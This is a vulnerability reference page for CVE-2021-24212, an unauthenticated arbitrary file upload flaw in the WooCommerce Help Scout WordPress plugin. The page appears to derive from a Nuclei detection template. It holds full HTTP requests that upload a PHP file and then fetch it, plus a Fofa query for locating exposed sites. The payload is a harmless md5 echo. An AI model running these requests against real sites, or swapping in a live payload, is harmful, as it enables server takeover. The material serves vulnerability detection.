🔙 목록으로 돌아가기

CVE-2021-24212: WooCommerce Help Scout - Arbitrary File Upload

TitleWooCommerce Help Scout - Arbitrary File Upload
Authorritikchaddha
SeverityCritical
ImpactUnauthenticated attackers can upload malicious files, potentially leading to remote code execution or site compromise.
RemediationUpdate to version 2.9.1 or later.
CVSS Score9.8
EPSS Score0.68228
CVE IDCVE-2021-24212
CWE IDCWE-434
Fofa Querybody="/wp-content/plugins/woocommerce-help-scout"
Tags cve cve2021 wp wordpress wp-plugin file-upload rce woocommerce-help-scout vkev

🔍 Vulnerability Description

WooCommerce Help Scout plugin before version 2.9.1 contains an unrestricted file upload vulnerability. The vulnerability allows unauthenticated users to upload arbitrary files to the server which by default will end up in wp-content/uploads/hstmp/ directory, potentially leading to remote code execution.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php?action=wc_help_scout_upload_attachments HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Connection: close
Content-Length: 227
Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf
Accept-Encoding: gzip

------------------------NCpI6tN3BZW3fz1Y9t2bkf

Content-Disposition: form-data; name="file"; filename="LijxIwDT"

Content-Type: application/x-php



<?php echo md5('2370'); ?>

------------------------NCpI6tN3BZW3fz1Y9t2bkf--
GET /wp-content/uploads/hstmp/LijxIwDT HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24212.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24212.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A